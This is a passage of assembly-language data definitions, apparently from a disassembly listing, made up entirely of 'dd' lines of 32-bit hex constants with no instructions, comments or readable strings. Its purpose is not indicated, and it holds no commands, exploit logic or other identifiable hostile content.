		dd 0A5B2C24Dh, 0C26356CFh, 0DBB37D22h, 0C7B58FCDh, 7F56EB03h
		dd 28E7BF8Bh, 3C56A53h,	0E47F6EEAh, 127EE622h, 0FA37FF06h
		dd 5608A78Dh, 0DD6D860Bh, 839767Ch, 82F09C1Ah, 0FFFF00A1h
		dd 1427FFEDh, 0C0A9AC67h, 46580474h, 0F7DAD1A8h, 0EC481600h
		dd 1A3B3794h, 1666A5C3h, 0FFFFDB01h, 4073FFFFh,	2B4B5114h
		dd 0B6077C15h, 0BF7F932Ah, 4361670Fh, 4FD47474h, 7E50E180h
		dd 16086FBAh, 56FFF81Ah, 0F646FFFAh, 0FF3D7E53h, 58DEE084h
		dd 0D43877E0h, 0DD74FB96h, 1CD707C7h, 0F8156FFFh, 0F8C72321h
		dd 5CC505FFh, 5DB2ECB4h, 1B0B970Ch, 37FF57A1h, 0F4DCF068h
		dd 7A800471h, 7F1C0C98h, 0DB23501Fh, 0EDFFD77Dh, 0B150FFFFh
		dd 0F05EB0ECh, 1BDEF7B5h, 843123F6h, 2A3EC136h,	0DEDFF75h
		dd 0D07129E1h, 0FFEA4A2Fh, 0D322FFFFh, 6289D724h, 0CBF4B77Bh
		dd 3918AEE0h, 0C6981845h, 66E0658Dh, 0B8300DC0h, 0DFFF12EFh
		dd 62EC2A58h, 8BC8A41h,	616F280Ah, 2405336Fh, 0DFFFFD41h
		dd 0AE9782D0h, 0A8AB1BE6h, 0FFA48D11h, 5E8A709Ch, 898B3E3Bh
		dd 0FFFFB6ABh, 3F80AADFh, 0D586359Ah, 7C1E4D93h, 428D00CBh
		dd 2C1B44FFh, 646207A8h, 0FFF5BFE2h, 3D04D606h,	8B536306h
		dd 95408D8h, 0F7E82F95h, 8A159BC2h, 7FFFFF0Ah, 0CB3AB921h
		dd 0FADFCF74h, 51EA52D9h, 0BEB7514h, 0C1C35AD8h, 1FE210E3h
		dd 0FE371B1Bh, 856B7A2h, 56BF0A8Bh, 0DD3FF78Bh,	0FFFF0B59h
		dd 0F9C1FFFFh, 0A2FFF183h, 0BFC633CFh, 38BD05CDh, 0A5E18104h
		dd 740625E1h, 2E0BB0D3h, 8106013Ch, 7FD243E6h, 0C475FFEBh
		dd 2C55DC2Ch, 42B15B8Dh, 0BE3655FCh, 0E816FD05h, 0FF673AEFh
		dd 27E0DFFFh, 10E803C9h, 0E9A69BB5h, 6DC1512h, 2D96EBD4h
		dd 9EE749CEh, 0FFD242B3h, 37FEF42Fh, 30F2FD06h,	9F90A714h
		dd 82F9B4ECh, 0F5280378h, 2FC5A229h, 5D82A8FCh,	0E72219C0h
		dd 944EF109h, 2EA5F4BBh, 7F6012D1h, 6E1E0B47h, 0FFFF7344h
		dd 2200BFFFh, 1A8DCE3h,	25C45AB6h, 5D10A83Bh, 57B68512h
		dd 84E7FE8h, 89FEE083h
		dd 0A4C8A0Eh, 0EADFFFFFh, 0D4CA68EFh, 0A966023Bh, 230F010Ch
		dd 52E375EEh, 0B31403B4h, 0F03BEE58h, 0FC4BFEB7h, 3112C203h
		dd 0D2A0B58h, 0A877F5C6h, 0BCFAB27Ah, 0DFFB6B2h, 0D459FF5Ah
		dd 40ADE22Ch, 90FF0837h, 7E1BDB6Fh, 4B488D3Eh, 8B7FFFFEh
		dd 0F82B520Eh, 0B3C5CB49h, 7E05142Fh, 3950571Dh, 0DC89DAB1h
		dd 0FF9F17F6h, 462DFFFFh, 6F20734Dh, 0B70B6DCAh, 83DD79A8h
		dd 41BCEF9h, 5BE286FEh,	906EA7A1h, 0D5BC6FFFh, 9E476B1Fh
		dd 505A26Ch, 8D440403h,	0B410B8F2h, 0FFFF0258h,	31CFFFFh
		dd 89B0207Ch, 6C512E9Fh, 0FB525153h, 5871C223h,	0FF91F77Ah
		dd 4D8A7525h, 16558808h, 0BFFD330Bh, 3C51FFF4h,	706E6B11h
		dd 398D1A10h, 8DFDB3Ch,	6185112Fh, 0F6F35DEEh, 0FFFF0C41h
		dd 0E023BF42h, 8306310Bh, 49FF7E07h, 8B0B7804h,	0A8358811h
		dd 0FF02E23Ah, 0FFFFFF12h, 260C9501h, 17A299C2h, 0C067EAFFh
		dd 820DA961h, 9206CF06h, 1D50A26Dh, 0DFF4BC9h, 0FF252CFEh
		dd 0B3DED94Dh, 834A7F69h, 7D47FF3Eh, 955BE78Ch,	5D5EFFFAh
		dd 0B8294756h, 25536EC4h, 0BAD5D98Bh, 0FFFFA808h, 6AA9FE2Dh
		dd 77013B2Eh, 2D8D252Dh, 7894A294h, 6E4334CFh, 35D847A5h
		dd 0FFFF1375h, 83AFFFFFh, 16262A38h, 831C3FB0h,	7C4DCF76h
		dd 5ED34924h, 0A0FE08D0h, 78D92E89h, 8537F402h,	0FFFF2E47h
		dd 0F1BAF85Fh, 0E39DD9CFh, 1DA2EDC9h, 0CBD8B74h, 4A08B52Bh
		dd 0B6CB9C4Dh, 891B16F5h, 0FFFFFFFFh, 0B408D47Dh, 48C0E802h
		dd 0E02CB2CBh, 69BCB0C4h, 0FD880326h, 75D07539h, 569C7C2Dh
		dd 0A1052D41h, 0FFD5BFFFh, 0C2A87065h, 0B9F30CF6h, 0E075DA4h
		dd 166385D0h, 1D9B44Bh,	60922EA4h, 0FD0BF16Dh, 4580E35Bh
		dd 0D40DC5E3h, 0FECB21BBh, 0FFFFC16Ch, 8DE60BFFh, 0C1998474h
		dd 0DC1FC508h, 27550603h, 0D62C11C1h, 0EC027F24h, 702D2A39h
		dd 0F16FFFFFh, 0C6DD5236h, 3B228016h, 71A97DEh,	76DB2F8Ah
		dd 84BE138Bh, 2CCF8D2h,	0C2FFFFFAh, 0A847ACD8h,	0E7B75705h
		dd 0B907EE17h, 0FAAACCB1h, 0B8A95F77h, 0F8E08C0Fh, 1C37FFFFh
		dd 3C202CC2h, 0B7117758h, 2151B8B9h, 58F08000h,	4B550F5Ch
		dd 0FD01912Ch, 0F717FC1Bh, 51102FBEh, 0E9ABADA9h, 3F04806Fh
		dd 1BEE140Bh, 4BFFFFE0h, 7A870F88h, 9163D735h, 99B85285h
		dd 885FEC2Ah, 84660F70h, 0FD6F85C0h, 73697DFh, 6DBC5D4Fh
		dd 3EBBDEB4h, 0E82D7447h, 0FC5BA974h, 6FBA5FFh,	3F14848h
		dd 394039A4h, 0BA439112h, 1392758h, 0FE0DFF06h,	0DDB0E471h
		dd 0EEE34D81h, 0FA800214h, 0B50286E8h, 0FFC6FF6Fh, 8BDCCBFFh
		dd 8FBCFC7Fh, 9C2739BDh, 4806F08Dh, 24C4F704h, 342DB514h
		dd 0FD2FC0B9h, 0A16FFEDh, 1CC9CA79h, 0D0B9B6B3h, 73412EABh
		dd 1D909967h, 7D3EC4D9h, 0FFFB7E05h, 0E00640D8h, 46744936h
		dd 0BCBCB6DCh, 6C38A204h, 0FE771574h, 0FD4B12ABh, 678DB135h
		dd 23B5A5C7h, 0C002005Eh, 39117FFFh, 92C330ECh,	10BA59A8h
		dd 0DFEF2008h, 2F2314BAh, 0C4FF42FDh, 34017B80h, 32101175h
		dd 0E403B0F6h, 321A3376h, 0FFFFFFDBh, 376C985Bh, 0F1024965h
		dd 5B8641Ah, 0E6967972h, 7693CB6h, 0F56F05FDh, 670C6675h
		dd 0FFFFFE17h, 58E578EDh, 0AB70B8DDh, 9C0F0F54h, 50C2CE50h
		dd 0CC1C352Ch, 3C3B30F6h, 0A17C3522h, 6D2EFFFFh, 0D0C01953h
		dd 986F118Dh, 0BFA1DCD9h, 70C13463h, 0BF0849B7h, 4BE8EFABh
		dd 3E728F86h, 5EB8E58h,	71AB530Eh, 7FF16FC1h, 179AE942h
		dd 107441CFh, 0E910340h, 4EE550BDh, 16836B7Ch, 0AFFA40F3h
		dd 0F46A39DAh, 2FFE8DFFh, 0EC5DFE14h, 2D43C9B8h, 0A7E57C2Ch
		dd 82C76F98h, 0DCA06D0Dh, 0FFFFFE05h, 85DFCCE0h, 64E889DEh
		dd 30F08FB0h, 3B757508h, 6CEBE48Bh, 0B92E0710h,	0FFFEDFFFh
		dd 0E095F5EDh, 0B905FF83h, 0FC2683A3h, 0D61EBC0Ch, 0A0965EC2h
		dd 0B3BD50B9h, 8468FE03h, 0FF5BF854h, 550735B9h, 0BC5F0224h
		dd 38E0D78Ch, 0FB138287h, 2FFFFFABh, 1AE7DCC1h,	48649900h
		dd 9379DB0h, 4FC0C1A8h,	52CD99AAh, 0B7F45F31h, 0DB787FFEh
		dd 814CD8ECh, 0B6EB4F81h, 0EC886F9Bh, 0B054D9D5h, 0FFFA251Dh
		dd 0C5966FFFh, 0A81FD55Eh, 0DB697329h, 0EFEEDEB6h, 3B4E078Bh
		dd 48F74AC6h, 5F51CE09h, 585EADE8h, 0F35C5FE2h,	0B387BF0Fh
		dd 0C22B9911h, 0FFFFF105h, 0EFD9F8D1h, 0EC9B6034h, 80A10729h
		dd 48B10BBAh, 137950C0h, 0BFFFFFFFh, 2C8C8D43h,	0AD657486h
		dd 0DC0D02EAh, 6708FF44h, 84A08E0Fh, 0A07469F8h, 0D6DD66Eh
		dd 0FFAB2244h, 0CE6FD2F6h, 0FE6DF6F6h, 9780DD44h, 3F49A108h
		dd 8DA14887h, 8B407FFEh, 76A7DE37h, 0B50EF333h,	0EAD42126h
		dd 0FFFFB4DBh, 9A9B7FFFh, 0CC2C6609h, 7051766h,	9ACDF877h
		dd 889AE106h, 0E4ABDF4h, 0A444FFCh, 8566E87Bh, 0FFFFFFFDh
		dd 43890FC9h, 6A7F4B7Ch, 4572297h, 0FB86B84Eh, 670B0E75h
		dd 0C2C8EDD3h, 0E0184775h, 0FFFF393Eh, 3F52FFFh, 883B5135h
		dd 9B578152h, 138E2D7Eh, 81972F75h, 561C5DC6h, 0EE6C81E4h
		dd 0B7FF1A8Eh, 7C16FFFAh, 0EC0A74ACh, 0CF5A98FCh, 3BBF556Dh
		dd 0A50A6B2Ch, 873E1C2Ah, 0FFFF5E93h, 0B1CDFFFFh, 8405D8F0h
		dd 8388F5BEh, 0D002C405h, 0CBCE0B9h, 5B53F898h,	146E49D5h
		dd 7D8B6A70h, 0DAB71C91h, 0DF6CFFFAh, 0E781EF8Eh, 6E1AF280h
		dd 13391575h, 8081987Ch, 6FFF56Eh, 2FA9E75Fh, 19C730E4h
		dd 3B781E26h, 0FF78EBA5h, 81DFFFFFh, 4366300Bh,	8DDF53A9h
		dd 48AE0E17h, 0B4BB4A9Ah, 0D74621EBh, 738DC8E1h, 84FD703Ah
		dd 0A37FFFFEh, 24CCD5E3h, 0CC59C63Ch, 7B0027B4h, 0ADFC6C10h
		dd 8AC920D9h, 0FF510417h, 0FE2DFFB7h, 0C92C30C8h, 6E41955Bh
		dd 80777AF0h, 0E170B610h, 43B23A6Dh, 0FFFFFFFFh, 86C1F697h
		dd 0B40A0415h, 3540C7C6h, 76FB2806h, 3FB83753h,	10EB9986h
		dd 3740A14h, 97C71D99h,	0FFFFFFF5h, 1ED25CEAh, 0D68F740Fh
		dd 647C147Fh, 7FD8E31Eh, 0D8F70E73h, 0F700D283h, 1B88B4DAh
		dd 28940BABh, 964D89F4h, 0FFFFE8A5h, 0F2DB7F6Fh, 6910097Dh
		dd 83119786h, 7483F74Ch, 0A087E25Bh, 0C30BC78Bh, 8D9421D7h
		dd 0FFC1BFFFh, 84AA17B5h, 0CFF5D6EBh, 5B497F5Ah, 90187889h
		dd 505299C6h, 8CBA585Bh, 0FE1706FFh, 30C1B689h,	2413397Fh
		dd 5EC05F46h, 880C033Dh, 0BFFF4E0Eh, 0B6EB8171h, 398CD8C2h
		dd 7946C62Bh, 0AED8CF02h, 0E23621BEh, 0FFF4BFF5h, 0CE8BD24Ch
		dd 0E2303980h, 542B7FDDh, 3001C6BBh, 4932EB40h,	56FF1166h
		dd 858D2FFFh, 4040C41Bh, 0FA2BF44Fh, 641BEB05h,	80B21FA4h
		dd 0FE0D4908h, 0F339FFFFh, 5050435h, 0D450F522h, 0C5B51B1Eh
		dd 81FB6FB0h, 0AA568662h, 0BF0F636h, 2366FFFCh,	0CCBA5245h
		dd 0EB2DF67Fh, 2B09A812h, 7402A8C7h, 0FFF5790Bh, 0BD0B2FB7h
		dd 0EF021C1h, 0C402D85Dh, 0D445C02Dh, 29270C90h, 0E8DF5764h
		dd 0CC98BF12h, 7D7F56B3h, 70635F61h, 0C84D8D13h, 0ADFFFE25h
		dd 816D44A1h, 6D111AEh,	29574D04h, 0B986DBAAh, 0FFFF9E30h
		dd 0BC82FEA5h, 563BD87Ch, 7ED7C9E3h, 0B7C1CD4Dh, 5997D906h
		dd 909862D8h, 0C0BF0106h, 26ECFFFFh, 7ACBEDABh,	46504690h
		dd 391F7528h, 68727411h, 6390AF8Ch, 0C2FF238Dh,	4A66F6C2h
		dd 36B31598h, 139B406Fh, 0A9686B07h, 56FF501Ah,	0A168FDB1h
		dd 21318E59h, 0ACA67CE7h, 0ADA2C6Dh, 0FFFF4DFAh, 0E0ACFA5Fh
		dd 44360D65h, 0B8E159B7h, 0E756228Ah, 1B6F1DA8h, 0CD8C4DAAh
		dd 59D08AD4h, 0FFFFFFFFh
		dd 66EC4981h, 9204CB05h, 0E5B8016h, 0D3584A6Dh,	468D8BE8h
		dd 0A93007E6h, 1F8BABDh, 0EDB66CB3h, 0EAA6FA97h, 7C409331h
		dd 0B3C9202h, 7B4472C0h, 0F42F52FFh, 40561B73h,	3866DB36h
		dd 6FC2E52h, 68243E6Ch,	0FFFF1A85h, 9305203Dh, 213D3F19h
		dd 0FE7FAAB1h, 223D0E06h, 0D0BEE59Ah, 8199FE05h, 0DA297170h
		dd 68420F9Ch, 157224B9h, 0FFF56F21h, 4771CBB7h,	774564AAh
		dd 2F568BF9h, 5CE28705h, 0CA4A37F3h, 0FFFFFFADh, 17FC3953h
		dd 4E39B56Eh, 3DB6B21h,	0DA030CC1h, 0EE72CB3Bh,	4ADFB710h
		dd 2F02129Bh, 0C83BE854h, 40C7A373h, 0FF6C28B7h, 97FFFFFFh
		dd 0D4AD0858h, 0FC68349Fh, 0FB83248Bh, 64ED0905h, 8BAC1ABh
		dd 110406Ah, 4D68DE05h,	8DFF60B5h, 360FFFEh, 8A08897Bh
		dd 0A3190076h, 0ADB88518h, 0EF499Eh, 43D0578h, 0FFFFF5D1h
		dd 0D1BFE25Fh, 6B24BE4Bh, 5C7EB0C9h, 0DE396483h, 8B98CFDh
		dd 421D1E18h, 0FF8DDF03h, 3B90FFFFh, 0D6E27CD3h, 0BCA86E08h
		dd 4A8E3D00h, 79FB9827h, 6F7564E9h, 30836446h, 0FFFE97FFh
		dd 0F20F1290h, 81CFC873h, 84913D4Eh, 0E2933D3Eh, 2E851CFCh
		dd 1E828D3Dh, 0DFFF8F3Dh, 0CF35FB60h, 0DF8621CFh, 14B08792h
		dd 644C107Dh, 0BED0D35Dh, 0FFFF2B52h, 7347FFFFh, 0C51E434h
		dd 5CAD9914h, 38605805h, 0D2EA21D5h, 5C81F7B9h,	6F8247D5h
		dd 9B358B35h, 0FFE90BDFh, 1BF0FF02h, 8FBE057Ah,	20B68ADFh
		dd 2E8E0877h, 40BDA8D6h, 0FFFF491Bh, 6B227FFFh,	0AAE50927h
		dd 0F965808Bh, 4FF74002h, 1B7C743h, 0D3EB4646h,	0F88072Ah
		dd 2DE7119Ah, 0FFFFFFFFh, 0B592AA53h, 655B8EE7h, 4BD49F5Dh
		dd 0F3C2EFE0h, 8C331875h, 682D3C47h, 3D3DB706h,	0AFCF5647h
		dd 0F52FFFFFh, 0B6B7AB45h, 0EA723AE0h, 0B8A8046Ah, 0FB380A3Dh
		dd 683DB296h, 0A1ACE0D6h, 0FFFFEADFh, 5540CB44h, 2B7D30AAh
		dd 0E88B7814h, 2F7E24E8h, 0DE55016Ah, 3B2D8EEFh, 0FF1BFFFCh
		dd 74072BC3h, 5055564Ah, 0DEA8C64h, 52650053h, 4B2F896Ch
		dd 1E38F503h, 0BFFFFF8h, 0E2E4C17h, 893BFEABh, 1F890A1Dh
		dd 0F2C005C7h, 0EB724B59h, 0FFC3CD20h, 0D65FFFFFh, 7ABA0A72h
		dd 0E423C034h, 8E53DF95h, 0CF23545Ah, 5AF10EC9h, 0DDF2A214h
		dd 9A2538B0h, 5BFFFFF8h, 15A12BE8h, 5685BF48h, 9E5A1380h
		dd 0FC251033h, 3601B8B3h, 0BFBF22AAh, 0C737C0B1h, 0C507FF3Ch
		dd 0E8DB8322h, 89420288h, 0FFFE37FAh, 213B8A36h, 0C3ED06D6h
		dd 1E134B18h, 3834040Bh, 0B40CD774h, 0FC361773h, 955FFFFFh
		dd 5FDB845Dh, 0DE327470h, 0F4477836h, 0FB80A975h, 904050Ch
		dd 1E029F75h, 0D4BFEF45h, 0C6F65B46h, 0B3FA30AAh, 0E9BC0BD1h
		dd 0FFFFFFE8h, 5B3C16B6h, 0D610A160h, 0E383F396h, 336F918h
		dd 83D0A10h, 50A945A0h,	7F103E28h, 125FFFFBh, 4A1ED1EFh
		dd 4676F7C1h, 745C2241h, 3826ADF9h, 9AB54A01h, 6BAF7466h
		dd 55BFA5F6h, 41226996h, 0F10DEBF0h, 156EC7C4h,	0FFFFFFFDh
		dd 8E9D1FFh, 27C4912h, 0BC36C65Ch, 0C9D042BBh, 0FDCBF175h
		dd 8A35574h, 0E97415B6h, 47744B82h, 0FFFFFD1Bh,	7B283DB0h
		dd 53802B94h, 0CDACE417h, 290D3B5Ch, 0E93DDCDEh, 671F6E73h
		dd 0FFFFFFFCh, 1A180322h, 0B74B0E54h, 8D274663h, 76B2Ah
		dd 0FB9A1531h, 3C1030F8h, 0A52AC9F7h, 0D6FFAC11h, 2BCA2FFFh
		dd 0CC002083h, 8A11CBECh, 8AD7895h, 0A138F1E5h,	0C1D88F8h
		dd 0FFFFD1BFh, 0A1AB4177h, 251FD4EDh, 5EE52D1Ah, 50183807h
		dd 20A50A21h, 308D886Dh, 0FFFFF16Fh, 0F27DEAB6h, 3BA3618Ch
		dd 4C3830EAh, 733F123Dh, 0F8956A4Ah, 4273F4DEh,	0FD1A2DC2h
		dd 2E7C19Ch, 0B2EF878Dh, 4BA33634h, 0D8F8DC4Bh,	0E11CDB07h
		dd 570F3E29h, 0FFC2506Bh, 7366FFD2h, 5CA3485Fh,	0AD606F69h
		dd 4D171C2Eh, 65B5E3ECh, 0FF12DC20h, 95FFFF42h,	0F09842F3h
		dd 0FBF14BFEh, 6AC3FFDBh, 0FF755D02h, 246855D7h, 6FFA35Eh
		dd 9C8DFFFFh, 4222A922h, 0B91242EFh, 17A3C5CDh,	0B1A1D39Ah
		dd 633D8041h, 0A5FF1C4Bh, 59ACFFFFh, 8FED390Fh,	0D91E5BE0h
		dd 974A05DBh, 0CC5032Ah, 4406F975h, 0F2D56A82h,	0FFB7FF02h
		dd 0E1405BFAh, 53A24B12h, 0A9206D6Eh, 0F751D771h, 3BE83A34h
		dd 0FFFF4235h, 54F657FFh, 289F1980h, 72881C23h,	959A55Dh
		dd 0B2402524h, 0E8DF800h, 0FA37E05Dh, 39222ADBh, 94ED038Bh
		dd 32A6ACB7h, 0FF58EBC3h, 0EA5FF02Fh, 4A80753Ah, 116CEE43h
		dd 0EDFF1ABBh, 7D946EDBh, 7C3840DDh, 0FFC5BFFFh, 78F604FBh
		dd 0B59A440Ah, 91816B40h, 0E99F0C8Ah, 10B48C42h, 61A22611h
		dd 0FFFF5285h, 1F162833h, 153FA8Ch, 68546A65h, 0A1C076F0h
		dd 0FFF46CA2h, 0DFF8Dh,	495B4606h, 7D16A02Eh, 2F1A565Eh
		dd 0F0F7787Bh, 0C0A3DC17h, 0A85FFFFEh, 888DE579h, 0AA2D0700h
		dd 294E6B41h, 2F367881h, 66FCBB7h, 0FD5BFF05h, 878AC37h
		dd 25030024h, 0DB8260Ah, 6B10B7EFh, 0C181300Dh,	0FFFD1BD2h
		dd 63D3E92Ah, 360B8051h, 6E5DCE7Dh, 7D12D6D0h, 0FF1BF254h
		dd 8DFEDF1Bh, 6DDCED84h, 8263DD0h, 6001F828h, 0A615C96Fh
		dd 82845280h, 0FFE25FE2h, 0AEF63DE2h, 0C8D4D8Ch, 350180B5h
		dd 19010382h, 0FF90C35Bh, 8FDFFFFFh, 3EC7CACh, 246080FBh
		dd 81118480h, 72C280C2h, 958846D6h, 39B20AFEh, 44EBA67Ch
		dd 0FFFFF85Fh, 80BD5609h, 7E96C721h, 28BE8B6Dh,	8C474D1h
		dd 0FC51562Ch, 0FCBBCC60h, 6FF5A84Bh, 0B108FE97h, 0A0E01551h
		dd 3C818D61h, 0F82C5E03h, 0E68323B7h, 6FEB7FFFh, 338F615h
		dd 8B703829h, 300691DBh, 0EF044688h, 41700043h,	0FFFAF25Ah
		dd 0ED42FFFFh, 4EA64703h, 1BFF9C46h, 43ED8A37h,	21042A83h
		dd 8BA1937Ch, 0BEC623A8h, 0B3541F3h, 0D37F52Dh,	6D2A0B69h
		dd 800686FFh, 0BFFC8061h, 72EBFFC5h, 0FA8149C6h, 5E0A1701h
		dd 4D58F62Fh, 156648C3h, 0C7EA0737h, 1BD5A97Fh,	0B0765486h
		dd 5543DD15h, 3DB9573Fh, 0FFFF897Fh, 349BC9E2h,	45793E89h
		dd 14D77502h, 90FD1B4h,	0E6BF7788h, 9508595Eh, 0FFF1BFFFh
		dd 5A913774h, 1006C727h, 0EC0EDA97h, 678C69B6h,	0C116CC9Ah
		dd 0E457DC29h, 0F8B71165h, 94CAFDBFh, 73BC0230h, 0AF9C1D99h
		dd 4750B8FDh, 0F604BF27h, 0ADFF51A8h, 9EC7FC2Fh, 0E7920500h
		dd 585823ACh, 0A302A104h, 91FB67Bh, 0FFFFC0CAh,	0BFBBFFFFh
		dd 0BB40E64Eh, 0CA5BB31h, 9A381811h, 0BAE0102Dh, 0D0F709FBh
		dd 0EB2254A3h, 2B1B5660h, 0FFFFF000h, 3D2CFFFFh, 0A92AFCD4h
		dd 67A8C5F9h, 7BDF0D8h,	0FDB4E060h, 0F027DB34h,	33F445DCh
		dd 0E983330Ch, 2FBB2EEh, 0F7CDFFFFh, 0EB594FBEh, 0C9D8850Bh
		dd 78D7ED7Ah, 0CC1110E0h, 28D6F77Bh, 45BFFD05h,	170511EBh
		dd 8C49105Eh, 7612FDB5h, 77FFFFF0h, 3DE4FF95h, 0A2E95023h
		dd 91ECEE2Ch, 0C51C1005h, 1D3D15DBh, 0A4278A06h, 0BFE0DDBFh
		dd 0FB9351E5h, 909AA45Bh, 4B53682Bh, 0E9210376h, 0DF90535Fh
		dd 0AA0DF415h, 9276F456h, 88DBF0B6h, 0DFFFFFFFh, 5DA506EAh
		dd 0AA25BDE8h, 0B87D1C14h, 576D756Fh, 300E12C0h, 0FE3AF75Bh
		dd 0EFFFFEDh, 70475C04h, 31C38168h, 8C67005h, 0AF9B8770h
		dd 0D7DFFCCBh, 0CD14A349h, 0FFFC94BDh, 10CCA5FFh, 15C22A9Ch
		dd 41BA4051h, 0F249303Eh, 0AF01661h, 1E242735h,	0B7FFFF47h
		dd 53EA176Fh, 10C7BDAh,	7FF0A6h, 11921514h, 7F90060h, 94F7BA29h
		dd 97FFFE9h, 0C73B37E0h, 5E96CF9h, 410DE2ECh, 0AEA3CEFAh
		dd 0FFA08458h
		dd 0B4FF02FFh, 705A860Fh, 21458201h, 4B862FEBh,	903F9ABCh
		dd 3D173D3Ch, 0FF4387EFh, 4FFFFFFh, 7D813A77h, 4E10FDCh
		dd 79296A18h, 0C35A4B37h, 0E0E064B8h, 44271777h, 703B884Dh
		dd 1B119E75h, 75FFFFFDh, 53927F7h, 1F766818h, 0E8862D56h
		dd 0B9983D3h, 5E2514ADh, 0FF37C413h, 9CFF82A5h,	3FFBC975h
		dd 0ECA2FBE1h, 0B5B74544h, 0E47FFEAh, 17FFC524h, 81B0398Ah
		dd 3F7645Bh, 8C362F8Bh,	0FFEB392Dh, 0C2BFFFFFh,	0BE4AD810h
		dd 52401E62h, 0A6F4CFD1h, 40BCF91Bh, 0A704A608h, 45482788h
		dd 418EEBBh, 6B7FFF44h,	0A66803FFh, 0E40072CFh,	0BA011A05h
		dd 4340B06Eh, 3D806EBh,	0A69A6DD0h, 0FFF5BF69h,	0B8C0C8FFh
		dd 0BFA6A8B0h, 0CF152010h, 0A9FF8B6Ch, 0F47DD368h, 0A72CEA0Ch
		dd 5221E4CFh, 7FFFFEBh,	40A89020h, 0CEFDD7A8h, 2CA79423h
		dd 0C80BA490h, 0A550F203h, 0B5AADDBEh, 39C4161Ah, 345B0504h
		dd 17ABD74Dh, 60BA5FAh,	5C54034Ch, 0D34DA21Eh, 0FEEDBEB2h
		dd 0CFA8877Fh, 2109DD7h, 0A805A023h, 0B8120003h, 0C41310CCh
		dd 85FFBC0Fh, 0F04905A2h, 54AE3211h, 0D3B86A8Dh, 0BE829B05h
		dd 9296BAD0h, 8F0D5AA2h, 0F4844FCEh, 1AEA5E0Dh,	0A9ECF546h
		dd 68E1633h, 4B76C462h,	0C514BF41h, 8BF44045h, 37E1C3FAh
		dd 33F6FD05h, 48DDE819h, 3B74D7F3h, 6A2DBD43h, 521FD2FBh
		dd 0BFB36FD0h, 51DC0B53h, 0FFFF37BCh, 6CC0A0A5h, 983FBACCh
		dd 2AF7ABBBh, 0BB9EDBAh, 0D0CBB0Ch, 0B3414BFEh,	0DE00500Ch
		dd 5256058Fh, 0FF414DB5h, 0ABF40FFh, 0BA0441E3h, 0C7737C17h
		dd 6F337401h, 4B48A96Ch, 60FFFF1Bh, 23ADC047h, 70C21868h
		dd 7D75EF10h, 0AD112685h, 57B755Dh, 0D7E8217Dh,	497DE3C1h
		dd 29104C72h, 9937FFE8h, 0B2444302h, 28281865h,	0ABF5078Eh
		dd 0D092F137h, 937FD052h, 6E07D233h, 907111FDh,	0C4BE36A9h
		dd 51728C52h, 0C58F3570h, 0BFFFC966h, 0E617DFD5h, 14FD1495h
		dd 0AA2BAC65h, 0A8AB1C40h, 0FEC86AFBh, 9E3D5DAAh, 52FFFE82h
		dd 0CB06AC51h, 6860490Eh, 0FC48FFCFh, 216DCB97h, 8293FF41h
		dd 5F6B7C69h, 5CF0FF05h, 0FF8B6818h, 0DB2B674Dh, 2FFD09B0h
		dd 2B2504E9h, 0FFFE7E88h, 735F29FFh, 6F067105h,	0A8B752C3h
		dd 76182857h, 21A27C7Fh, 5005F0C0h, 829BFF41h, 51457E5Ch
		dd 0FB69A37Fh, 1BADC22Dh, 5948FF41h, 5ECC081Fh,	224F483Fh
		dd 0F42FFFC3h, 839558FFh, 0A105F450h, 52AA9267h, 0C5FAF7C1h
		dd 0F8655521h, 57AA89E7h, 0E2DFFFC1h, 9E78BFFh,	463AFB0Ch
		dd 554CDF3Ah, 19501337h, 265982D2h, 40F9087Ch, 0FFFEDEE3h
		dd 0D110A0FFh, 0A01FE8E2h, 556582A5h, 8D2DACC3h, 7B891055h
		dd 0BD08013Bh, 0F336CCD1h, 8297FFFFh, 5D5E5405h, 31BA0B59h
		dd 5162CE51h, 0E1E4A2CBh, 0FF5541EEh, 2FFFFFFh,	4A106A7Bh
		dd 0F8511C0Dh, 0FE58A16Fh, 3FAFAE5Bh, 8DDE2BDFh, 0FD83046Bh
		dd 137A9378h, 0BF667B9Fh, 0C9F06FC4h, 0C859F58Ch, 0A2A5074Eh
		dd 0F490342h, 0FF7841D5h, 0C6FFFFFFh, 0AB501072h, 17D22795h
		dd 46DD2163h, 43161015h, 5C482F72h, 2FBC178h, 0C6983C15h
		dd 0FF4D6084h, 0F4FFFFFFh, 0E77FFBDh, 19578089h, 0B1556C5Eh
		dd 8959A093h, 0AF501D52h, 0B204CF59h, 0B45989Eh, 0FF5D0783h
		dd 0F6FFFFFFh, 0C58A3AA8h, 18D62F44h, 0D050AA8Eh, 6C90D39Dh
		dd 6B434868h, 21617070h, 0E2E501B9h, 0FF9BBF2Dh, 87FFFFFFh
		dd 9C86F8Bh, 2A29A59Ch,	0C1118EE0h, 0A6F1717h, 44EF4859h
		dd 8D9321FDh, 606A58B7h, 0FFDF117Bh, 96FFE17Fh,	282CAB72h
		dd 0E8720647h, 3E30F45Fh, 0F849906Bh, 0A30B7840h, 73755CC7h
		dd 0FF42FFD0h, 9E07EBD2h, 9E4F67C2h, 2D686F18h,	0E6DFF3F4h
		dd 0AD1CCA84h, 77897FFFh, 424A34Eh, 86AD1428h, 0F4182C3Dh
		dd 0DD0AB6A5h, 0A3BAB7D7h, 0AE5039FFh, 68E7F103h, 0E29551D8h
		dd 0C3830CC0h, 0BFFFFFBh, 0EF8DA6FFh, 3B5E9A03h, 3720A6C1h
		dd 50B24B7Ah, 0A32887C3h, 37B06820h, 5B1096C4h,	0A5FFFFFDh
		dd 0FB15D802h, 414B7F0Bh, 744CF01Bh, 59D68B15h,	0E29122CBh
		dd 0FC08E9D2h, 5446FFD6h, 118FE144h, 28F8B85Dh,	2A9F91C5h
		dd 7F5FAABEh, 5BEDFBh, 3504A19Eh, 0D38B5CFFh, 14E73608h
		dd 0DFC63F3Fh, 0FFFFF55Ah, 0AEDDBDFFh, 83495AEBh, 4D20FE8h
		dd 482B7406h, 0C5652004h, 0ADD61C74h, 1F7CFDF3h, 25FFF0EBh
		dd 4928AC6Eh, 0B24BE2Dh, 0BD483524h, 2CBE0AF3h,	25FFFF04h
		dd 512C2CBEh, 59C8527Bh, 52011E43h, 0E6113A26h,	6C106D10h
		dd 0BCBA8BFh, 63FFFA5Fh, 0CDE40B63h, 0F5EAA710h, 6FD70DE5h
		dd 4508A92Ah, 0FF0453DCh, 75FFFEA5h, 6FBB6C1Bh,	3A4F8BC5h
		dd 604789D4h, 64CB7517h, 0BEA0E7C5h, 0FF47C7D0h, 64FFDBFFh
